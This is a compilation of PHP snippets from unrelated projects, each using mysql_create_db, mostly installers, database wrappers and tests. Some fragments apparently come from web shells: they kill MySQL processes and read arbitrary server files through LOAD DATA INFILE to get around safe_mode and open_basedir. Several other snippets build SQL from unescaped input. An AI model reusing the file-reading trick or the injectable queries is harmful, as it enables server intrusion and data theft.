function hesk_iTestDatabaseConnection() { global $hesk_settings, $hesklang; $db_success = 1; $hesk_settings['db_host'] = hesk_input(hesk_POST('host')); $hesk_settings['db_name'] = hesk_input(hesk_POST('name')); $hesk_settings['db_user'] = hesk_input(hesk_POST('user')); $hesk_settings['db_pass'] = hesk_input(hesk_POST('pass')); // Allow & in password $hesk_settings['db_pass'] = str_replace('&', '&', $hesk_settings['db_pass']); // Use MySQLi extension to connect? $use_mysqli = function_exists('mysqli_connect') ? true : false; // Start output buffering ob_start(); // Connect to database if ($use_mysqli) { // Do we need a special port? Check and connect to the database if (strpos($hesk_settings['db_host'], ':')) { list($hesk_settings['db_host'], $hesk_settings['db_port']) = explode(':', $hesk_settings['db_host']); $hesk_db_link = mysqli_connect($hesk_settings['db_host'], $hesk_settings['db_user'], $hesk_settings['db_pass'], $hesk_settings['db_name'], intval($hesk_settings['db_port'])) or $db_success = 0; } else { $hesk_db_link = mysqli_connect($hesk_settings['db_host'], $hesk_settings['db_user'], $hesk_settings['db_pass'], $hesk_settings['db_name']) or $db_success = 0; } } else { $hesk_db_link = mysql_connect($hesk_settings['db_host'], $hesk_settings['db_user'], $hesk_settings['db_pass']) or $db_success = 0; // Select database works OK? if ($db_success == 1 && !mysql_select_db($hesk_settings['db_name'], $hesk_db_link)) { // No, try to create the database if (function_exists('mysql_create_db') && mysql_create_db($hesk_settings['db_name'], $hesk_db_link)) { if (mysql_select_db($hesk_settings['db_name'], $hesk_db_link)) { $db_success = 1; } else { $db_success = 0; } } else { $db_success = 0; } } } ob_end_clean(); // Any errors? if (!$db_success) { global $mysql_log; $mysql_log = $use_mysqli ? mysqli_connect_error() : mysql_error(); hesk_iDatabase(1); } return $hesk_db_link; }
public function mysql($host, $user, $passwd, $db, $create = "") { $this->db_name = $db; $this->db_user = $user; $this->db_passwd = $passwd; $this->db_host = $host; $this->db_link_ptr = @mysql_connect($host, $user, $passwd) or $this->error("", mysql_error(), mysql_errno()); $this->dbhandler = @mysql_select_db($db); mysql_set_charset('utf8'); if (!$this->dbhandler) { if ($create == "1") { @mysql_create_db($db, $this->db_link_ptr) or $this->error("imposible crear la base de datos.", mysql_error(), mysql_errno()); $this->dbhandler = @mysql_select_db($db); } } }
function CreateDatabase(&$db, $name) { if (!$db->Connect()) { return 0; } if (function_exists("mysql_create_db")) { $success = mysql_create_db($name, $db->connection); } else { $db->EscapeText($name); $success = mysql_query("CREATE DATABASE {$name}", $db->connection); } if (!$success) { return $db->SetError("Create database", mysql_error($db->connection)); } return 1; }
if ($sql_act == "processes") { if (!empty($kill)) { $query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #" . $kill . "... ok. he is dead, amen.</b>"; } $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "<center><b>Processes:</b><br><br>"; echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td>STATE</td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>"; } echo "</table>"; mysql_free_result($result); } elseif ($sql_act == "getfile") { if (!mysql_create_db("tmp_bd")) { echo mysql_error(); } elseif (!mysql_select_db("tmp_bd")) { echo mysql_error(); } elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) { echo mysql_error(); } else { mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query); if (!$result) { echo "Error in query \"" . $query . "\": " . mysql_error(); } else { for ($i = 0; $i < mysql_num_fields($result); $i++) { $name = mysql_field_name($result, $i); }
/** * Test mysql_create_db * * @return boolean */ public function MySQL_Create_Db_Test() { // Drop db return mysql_create_db('unit_sql_v_2') === true; }
/** * DB作成 * * @param $dbname * @return bool */ public function createDB($dbname) { $success = false; // 接続 $this->connectDB(); // DB作成 if ($this->linkId) { // for PHP4 if ($this->mysql_mode == MYSQL_MODE_MYSQL && function_exists('mysql_create_db')) { if (mysql_create_db($dbname, $this->linkId)) { $success = true; } } else { $sql = 'CREATE DATABASE ' . $dbname; if ($this->mysql_mode == MYSQL_MODE_MYSQL) { if (mysql_query($sql, $this->linkId)) { $success = true; } } else { if ($this->mysql_mode == MYSQL_MODE_MYSQLI) { if (mysqli_query($sql, $this->linkId)) { $success = true; } } } } $this->close(); } return $success; }
echo "<b>Killing process #" . $kill . "... ok. he is dead, amen.</b>"; } $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "<center><b>Processes:</b><br><br>"; echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>"; } echo "</table>"; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login . "_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) { mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select; } if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) { echo "<b>Error in reading file (permision denied)!</b>"; } else { for ($i = 0; $i < mysql_num_fields($result); $i++) { $name = mysql_field_name($result, $i); } $f = "";
array_push($sql, 'CREATE TABLE IF NOT EXISTS `socialhns` ( `user_id` INT( 10 ) NOT NULL , `following` TEXT NOT NULL , `followers` TEXT NOT NULL , `contacts` TEXT NOT NULL , PRIMARY KEY (`user_id` ) ) ENGINE = MYISAM'); array_push($sql, 'CREATE TABLE IF NOT EXISTS `stream` ( `sid` INT( 10 ) NOT NULL AUTO_INCREMENT , `owner` INT( 10 ) NOT NULL , `timestamp` INT( 10 ) NOT NULL , `type` INT( 1 ) NOT NULL , `data` TEXT NOT NULL , `likes` INT( 11 ) NOT NULL , `comments` MEDIUMTEXT NOT NULL , `shares` MEDIUMTEXT NOT NULL , `block` TEXT NOT NULL , `ids` TEXT NOT NULL , PRIMARY KEY (`sid` ) ) ENGINE = MYISAM'); array_push($sql, 'CREATE TABLE IF NOT EXISTS `users_online` ( `timestamp` INT( 10 ) NOT NULL , `user_id` INT( 10 ) NOT NULL , `username` VARCHAR( 20 ) NOT NULL , `file` VARCHAR( 100 ) NOT NULL ) ENGINE = MYISAM'); mysql_create_db('hns') or die('Cannot create database'); mysql_select_db('hns') or die('Cannot select database'); foreach ($sql as $query) { //mysql_query($query) or die(mysql_error()); }
function createDB($DBName) { /* 新建一个 MySQL 数据库 */ return @mysql_create_db($DBName, $this->LinkId) or die($this->halt("创建数据库 " . $DBName . " 失败!")); }
if (!empty($sales_option) && $sales_option == true) { echo "<form method=\"POST\" action=\"{$_SERVER['PHP_SELF']}\"><input type=\"hidden\" name=\"action\" value=\"sal\"><input type=\"submit\" value=\"INSTALL/UPDATE DB for SalesOption\"></form>"; } if ($chat_db_name && $chat_enable && $chat_interface) { echo "<form method=\"POST\" action=\"{$_SERVER['PHP_SELF']}\"><input type=\"hidden\" name=\"action\" value=\"chat\"><input type=\"submit\" value=\"INSTALL/UPDATE DB for ChatOption\" ></form>"; } echo "</td></tr></table></center>\n"; } echo "<p align=center><input type=\"submit\" value=\"HOME\" onclick=\"javascript:window.location.href='{$_SERVER['PHP_SELF']}'\"> <input type=\"submit\" value=\"ADMIN\" onclick=\"javascript:window.location.href='admin.php'\"> <input type=\"submit\" value=\"MEMBERAREA\" onclick=\"javascript:window.location.href='http://www.smartisoft.com/?member'\"> <input type=\"submit\" value=\"EXIT\" onclick=\"javascript:window.close()\">"; mysql_close(); } else { mysql_close(); if ($_POST['action'] == "inst") { mysql_connect($db_server, $db_user, $db_pass); echo "<b>Logix Classifieds Database install</b>"; if (mysql_create_db($db_name)) { echo "<b> - OK</b><p>"; } else { echo "<b><font color=red> - FAILED</b></font><p>"; } mysql_close(); # echo "<form method=\"POST\" action=\"$_SERVER[PHP_SELF]\"><input type=\"hidden\" name=\"action\" value=\"del\"><input type=\"submit\" value=\"INSTALL TABLES #$Id$1.5x\n\"></form><hr>"; } else { echo "Database [{$db_name}] does NOT exist or is NOT accessable !!!<p>"; echo "<form method=\"POST\" action=\"{$_SERVER['PHP_SELF']}\">\n"; echo "<table width=\"400\">\n"; echo "<tr><td colspan=2><font face=\"verdana\" size=\"2\"><br>Check your mySQL Data (edit config.php)<br><br></font></td></tr>\n"; echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-Server: </font></td><td><input type=\"text\" name=\"mysqlserver\" value=\"{$db_server}\" size=\"20\" readonly><br></td></tr>\n"; echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-User: </font></td><td><input type=\"text\" name=\"mysqluser\" value=\"{$db_user}\" size=\"20\" readonly><br></td></tr>\n"; echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-Pass: </font></td><td><input type=\"text\" name=\"mysqlpass\" value=\"{$db_pass}\" size=\"20\" readonly><br></td></tr>\n"; echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-DB: </font></td><td><input type=\"text\" name=\"mysqldb\" value=\"{$db_name}\" size=\"20\" readonly><br></td></tr>\n";
/** * @param $db_name * @return bool */ public function createDB($db_name) { // for PHP4 if ($this->mode == self::MODE_MYSQL && function_exists('mysql_create_db')) { if (mysql_create_db($db_name, $this->linkId)) { return true; } } else { $sql = "CREATE DATABASE " . $this->escapeColumn(":DB") . ";"; $query = $this->createQuery()->queryExecute($sql, array("DB" => $db_name)); return $query->getResult() ? true : false; } return false; }
function createDB($db_name) { // Create Databas // $db_name - new DB name mysql_create_db($db_name); if(mysql_errno()) { // DB not created echo 'Error in create_new_db() : db not created'; return false; } }
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>Admin top page</title> </head> <body background="rlaemb.JPG"> <!--create or drop database--> <?php include "admin_access.inc"; include 'rla_functions.inc'; if ($create) { $action = $action; if ($action == "Create a DB") { $result = mysql_create_db($dbname, $contid); } elseif ($action == "Drop a DB") { $result = mysql_drop_db($dbname, $contid); } $outcome = '<h2><font size="5">'; if ($result) { $outcome = "Database \"{$dbname}\" has been {$action} successfully.<br>"; } else { $outcome = "Database \"{$dbname}\" has failed to be {$action} .<br>"; } $outcome = $outcome . '</font></h2>'; $outcome = $outcome . '<a href="admin_dbedit_top.php">Create or drop Database</a>'; } ?> <!--Change DB-->
} if ($_GET['step'] == 'install') { if (!$_POST['username'] or !$_POST['password']) { $error = 1; $errorInfo .= '用户名或密码不能为空<br>'; } if ($_POST['password'] != $_POST['passwordconfirm']) { $error = 1; $errorInfo .= '两次输入得密码不一致<br>'; } if (!@mysql_connect($_POST['databaseserver'], $_POST['databaseuser'], $_POST['databasepassword'])) { $error = 1; $errorInfo .= '数据库连接错误!<br>'; } if (!@mysql_select_db($_POST['database'])) { if (!@mysql_create_db($_POST['database'])) { $error = 1; $errorInfo .= '所选择的数据库不存在或者不能被创建.!<br>'; } else { @mysql_select_db($_POST['database']); } } $configContent = getcontent(cfgFilePath . cfgDefaultConfig); $configContent = str_replace('DATABASE_SERVER', $_POST['databaseserver'], $configContent); $configContent = str_replace('DATABASE_USER', $_POST['databaseuser'], $configContent); $configContent = str_replace('DATABASE_PASS', $_POST['databasepassword'], $configContent); $configContent = str_replace('DATABASE_NAME', $_POST['database'], $configContent); $configContent = str_replace('DATABASE_PRE', $_POST['tablepre'], $configContent); $configContent = str_replace('GDFONT', $_POST['gdfont'], $configContent); $configContent = str_replace('ADMINNAME', $_POST['username'], $configContent); $configContent = str_replace('ADMINPASS', $_POST['password'], $configContent);
/** * Create database * * @database_name - name of the database to create * @returns true if succeed, false if not * */ public function create_database($database_name) { return mysql_create_db($database_name); }
function create_db($dbname) { return @mysql_create_db($dbname, $this->conn); }
} if ($chaturl == "" || $chaturl == "C_CHAT_URL") { $chaturl = "http://" . str_replace("install/install.php", "", $_SERVER["HTTP_HOST"] . $_SERVER["SCRIPT_NAME"]); } $conn = @mysql_connect($dbhost, $dbuname, $dbpass) or $error = L_DB_NOCONNECT; @mysql_query("SET CHARACTER SET utf8"); mysql_query("SET NAMES 'utf8'"); if ($conn != false) { // Get MySQL server version and set the corresponding engine type $mysql_info = mysql_get_server_info(); $mysql_version = substr($mysql_info, 0, strpos($mysql_info, "-")); $engine = settype($mysql_version, "float") >= "4.1" ? "ENGINE" : "TYPE"; $stamp = settype($mysql_version, "float") >= "5.1" ? "timestamp" : "timestamp(14)"; $myconn = mysql_select_db($dbname, $conn); if ($myconn == false) { $cr_db = @mysql_create_db($dbname, $conn); $cr_db = mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci IF NOT EXISTS;", $conn); if ($cr_db == false) { $error = sprintf(L_DB_HINT1, $dbname); } } } if ($logdirnew != $logdir && $logdirnew != "") { $LOG_DIR_N = ", LOG_DIR = '" . $logdirnew . "'"; $LOG_DIR_NN = "UPDATE {$t_config} SET LOG_DIR = '" . $logdirnew . "' WHERE ID='0';"; } if ($error == "") { if ($kind == "new") { include "database/mysql_new_install.php"; mysql_query("UPDATE {$t_config} SET LANGUAGE = '{$L}', ADMIN_NAME = '{$adminname}', ADMIN_EMAIL = '{$adminemail}', CHAT_URL = '{$chaturl}', CHAT_NAME = '{$chatname}'" . $LOG_DIR_N . " WHERE ID='0';"); } elseif ($kind == "194-RC4") {
* You should have received a copy of the Affero General Public * License in the COPYING file that comes with The Affero Project; if * not, write to Affero, Inc., 510 Third Street, Suite 225, San * Francisco, CA 94107 USA. */ if (isset($_POST['create'])) { // connect to the database if (!mysql_connect($_POST['host'], $_POST['user'], $_POST['pass'])) { die("Could not connct to database, check host/user/pass settings!"); } // check if we shall create a new database if ($_POST['create'] == "create") { if (!function_exists("mysql_create_db")) { die("The mysql_create_db() function does not exist in your PHP installation! Please create the database by hand, and chose the 'Use existing DB' option in the installation script."); } if (!mysql_create_db($_POST['name'])) { die("Database could not be created: " . $_POST['name']); } } // select database if (!mysql_select_db($_POST['name'])) { die("Could not select db: " . $_POST['name']); } /* mms table */ $sql = "\r\n\t\tCREATE TABLE `mms` (\r\n\t\t `id` int(10) NOT NULL auto_increment,\r\n\t\t `from` char(255) NOT NULL default '',\r\n\t\t `to` char(255) NOT NULL default '',\r\n\t\t `subject` char(255) NOT NULL default '',\r\n\t\t `content_type` char(255) NOT NULL default '',\r\n\t\t PRIMARY KEY (`id`)\r\n\t\t) TYPE=MyISAM AUTO_INCREMENT=28 ;\r\n\t"; if (!mysql_query($sql)) { print "Could not create table: mms. MySQL: " . mysql_error() . "<br>\n"; } /* parts table */ $sql = "\r\n\t\tCREATE TABLE `parts` (\r\n\t\t `id` int(10) NOT NULL auto_increment,\r\n\t\t `mmsid` int(10) NOT NULL default '0',\r\n\t\t `datalen` int(12) NOT NULL default '0',\r\n\t\t `content_type` varchar(255) NOT NULL default '',\r\n\t\t `data` mediumblob NOT NULL,\r\n\t\t PRIMARY KEY (`id`)\r\n\t\t) TYPE=MyISAM AUTO_INCREMENT=33 ;\r\n\t"; if (!mysql_query($sql)) {
} } if (!function_exists('mysql_drop_db')) { function mysql_drop_db($database_name, $link_identifier = null) { $sql = "DROP DATABASE `{$database_name}`"; if (mysql_query($sql)) { return true; } return false; } } /*Создаем новую базу*/ if (isset($_GET['new_db'])) { $new_db = trim($_GET['new_db']); if (mysql_create_db($new_db)) { print "<center><font size=2>База <b>{$new_db}</b> успешно создана ...</font></center><br>"; print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>"; } else { die("{$h_error}" . mysql_error() . "{$f_error} <head><META HTTP-EQUIV='Refresh' CONTENT='2;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>"); } unset($new_db); } /*Удаление базы*/ if (isset($_GET['drop'])) { $result_d = mysql_list_dbs($connection) or die("<td bgcolor=#DAD9D9>{$h_error}" . mysql_error() . "{$f_error}</td></tr></table>"); while ($row_d = mysql_fetch_row($result_d)) { if ($drop == $row_d[0]) { $dr = "TRUE"; } }
function crea($basedatos) { mysql_create_db("{$basedatos}") or die("No se ha podido crear la base de datos"); }
function mysql_createdb($name, $c = null) { return mysql_create_db($name, $c); }
<?php $db_engine = $GLOBALS['s3db_info']['server']['db']['db_type']; $hostname = $GLOBALS['s3db_info']['server']['db']['db_host']; $dbname = $GLOBALS['s3db_info']['server']['db']['db_name']; $user = $GLOBALS['s3db_info']['server']['db']['db_user']; $pass = $GLOBALS['s3db_info']['server']['db']['db_pass']; if ($db_engine == 'mysql') { $connect = mysql_connect($hostname); $db = mysql_create_db($dbname, $connect); $sql = "grant all privileges on " . $db_engine . ".* to " . $user . " identified by " . $pass . ""; mysql_db_query($dbname, $sql, $connect); $sql = 'flush privileges'; mysql_db_query($dbname, $sql, $connect); mysql_close($connect); } else { #creating a db in postgres without root user $dbconn = pg_connect("host=" . $hostname . " user="******" password="******" dbname=template1"); if (!$dbconn) { echo "An error occured in connecting to pgSQL database."; exit; } $query = pg_query($dbconn, "create database " . $dbname . " with owner " . $user); if (!$query) { echo "An error occured creating the database."; exit; } pg_close($dbconn); }
<input type=submit value='Show content'> </form> <br>"; if($_POST['read_file']){ $read_file=$_POST['read_file']; @mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("<font color=red>".mysql_error()."</font>"); mysql_create_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); mysql_select_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("<font color=red>".mysql_error()."</font>"); mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query) or die("<font color=red>".mysql_error()."</font>"); print "<b>File content</b>:<br><br>"; for($i=0;$i<mysql_num_fields($result);$i++){
} else { echo "<span class='ok'>OK!</span></p>"; } // attempt to connect to the desired database echo "<p>Selecting database `" . $db . "`: "; if (!@mysql_select_db($db, $conn)) { echo "<span class='notok'>Failed...</span> - database does not exist. Will attempt to create:</p>"; $errors += 1; $create = true; } else { echo "<span class='ok'>OK!</span></p>"; } // attempt to create the database if ($create) { echo "<p>Creating database `" . $db . "`: "; if (!@mysql_create_db($db, $conn)) { echo "<span class='notok'>Failed!</span> - Could not create database!</p>"; $errors += 1; echo "<p>Etomite setup could not create the database, and no existing database with the same name was found. </p><p>Please create a database, and run setup again.</p>"; echo $pageFooter; exit; } else { echo "<span class='ok'>OK!</span></p>"; } } // cehck to see if the desired table prefix is alreay in use echo "<p>Checking table prefix `" . $table_prefix . "`: "; if (@($rs = mysql_query("SELECT COUNT(*) FROM {$db}." . $table_prefix . "site_content"))) { echo "<span class='notok'>Failed!</span> - Table prefix is already in use in this database!</p>"; $errors += 1; echo "<p>Etomite setup couldn't install into the selected database, as it already contains Etomite tables. Please choose a new table_prefix, and run setup again.</p>";
function createDatabase() { global $mysqlHandle, $dbname, $PHP_SELF; mysql_create_db($dbname, $mysqlHandle); listDatabases(); }
print "SUCCESS: connect\n"; } if (function_exists('mysql_drop_db')) { $test_db_name = "__converter_test_create_db"; $ret = mysql_create_db($test_db_name, $con); if (!$ret) { printf("FAILURE: failed to create test database [1], check your setup! FAILURE: [%d] %s\n", mysql_errno($con), mysql_error($con)); } $ret = mysql_drop_db($test_db_name, $con); if (!is_bool($ret)) { printf("FAILURE: mysql_drop_db(name, con) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con)); } if (!$ret) { printf("FAILURE: mysql_drop_db(name, con) failed, [%d] %s\n", mysql_errno($con), mysql_error($con)); } $ret = mysql_create_db($test_db_name); if (!$ret) { printf("FAILURE: failed to create test database [2], check your setup! FAILURE: [%d] %s\n", mysql_errno($con), mysql_error($con)); } $ret = mysql_drop_db($test_db_name); if (!is_bool($ret)) { printf("FAILURE: mysql_drop_db(name) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con)); } if (!$ret) { printf("FAILURE: mysql_drop_db(name) failed, [%d] %s\n", mysql_errno($con), mysql_error($con)); } $ret = mysql_drop_db($test_db_name, $illegal_link_identifier); if (!is_bool($ret)) { printf("FAILURE: mysql_drop_db(name, illegal link identifier) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con)); } if ($ret) {
if (false !== ($tmp = mysql_create_db($link, $link, $link))) { printf("[002] Expecting boolean/false, got %s/%s\n", gettype($tmp), $tmp); } if ($link = my_mysql_connect($host, $user, $passwd, $db, $port, $socket)) { printf("[003] Can connect to the server using host=%s, user=%s, passwd=***non_empty, dbname=%s, port=%s, socket=%s\n", $host, $user . 'unknown_really', $db, $port, $socket); } if (!mysql_query("CREATE DATABASE mysqlcreatedb", $link)) { die(sprintf("[004] Cannot create database, aborting test, [%d] %s\n", mysql_errno($link), mysql_error($link))); } if (!mysql_query("DROP DATABASE mysqlcreatedb", $link)) { printf("[005] [%d] %s\n", mysql_errno($link), mysql_error($link)); } if (true !== ($tmp = mysql_create_db("mysqlcreatedb", $link))) { printf("[006] Expecting boolean/true, got %s/%s, [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link)); } if (false !== ($tmp = mysql_create_db("mysqlcreatedb", $link))) { printf("[007] Expecting boolean/false, got %s/%s, [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link)); } if (!mysql_query("DROP DATABASE mysqlcreatedb", $link)) { printf("[008] [%d] %s\n", mysql_errno($link), mysql_error($link)); } print "done!"; error_reporting(0); require_once 'connect.inc'; if (!($link = my_mysql_connect($host, $user, $passwd, $db, $port, $socket))) { printf("[c001] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n", $host, $user, $db, $port, $socket); } if (!mysql_query("DROP DATABASE IF EXISTS mysqlcreatedb", $link)) { printf("[c002] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); } mysql_close($link);
function dbCreate($database){ $this->database = $database; return @mysql_create_db($this->database, $this->link_id); }
/** * Test mysql_create_db * * @return boolean */ public function MySQL_Create_Db_Test() { // Connect $newDb = 'unit_sql_v_2'; return mysql_create_db($newDb) === $this->_object->mysql_create_db($newDb); }
if ($sql) { echo "<img src='icons/tick.png' /> " . $aaa . " \"" . $old_table . "\" " . $aaa; $_GET["table_name"] = $rename_table; } else { echo "<img src='icons/database_error.png' /> " . $aaa . " <br />"; } } else { echo "<form method='POST' action='?action=rename_table&table_name=" . $_GET["table_name"] . "&database_name=" . $_GET["database_name"] . "&complete'>\n<img src='icons/table_edit.png' border='0' />\n" . $_SESSION["lng"]["rename_table_ok"] . " \"" . $_GET["table_name"] . "\" " . $_SESSION["lng"]["rename_table_2"] . ": <input name='name_of_new_table' type='text' value='' size='20' maxlength='65'> (" . $_SESSION["lng"]["db_create_form2"] . ") <br />\n<input type='submit' value='" . $_SESSION["lng"]["rename_table_ok"] . "'>\n</form>"; } // -------------------------------------------- } elseif ($_GET["action"] == "add_new_database") { if (isset($_GET["complete"])) { $new_db = input($_POST["name_of_new_db"]); $sql = mysql_query("CREATE DATABASE '" . $new_db . "'"); if (!$sql) { $sql = mysql_create_db($new_db, $spojeni); } if ($sql) { echo "<img src='icons/tick.png' /> " . $_SESSION["lng"]["db_create_ok1"] . " \"" . $new_db . "\" " . $_SESSION["lng"]["db_create_ok2"]; } else { echo "<img src='icons/database_error.png' /> " . $_SESSION["lng"]["db_create_er1"] . " <br />"; echo $_SESSION["lng"]["db_create_er2"]; } } else { echo "<form method='POST' action='index.php?action=add_new_database&complete'>\n<img src='icons/database_add.png' border='0' />\n" . $_SESSION["lng"]["db_create_form1"] . ": <input name='name_of_new_db' type='text' value='' size='20' maxlength='65'> (" . $_SESSION["lng"]["db_create_form2"] . ") <br />\n<input type='submit' value='" . $_SESSION["lng"]["db_create_form3"] . "'>\n</form>"; } } else { $table_count = 0; $db_count = 0; $sql = mysql_query("SHOW DATABASES"); while ($pole = mysql_fetch_row($sql)) {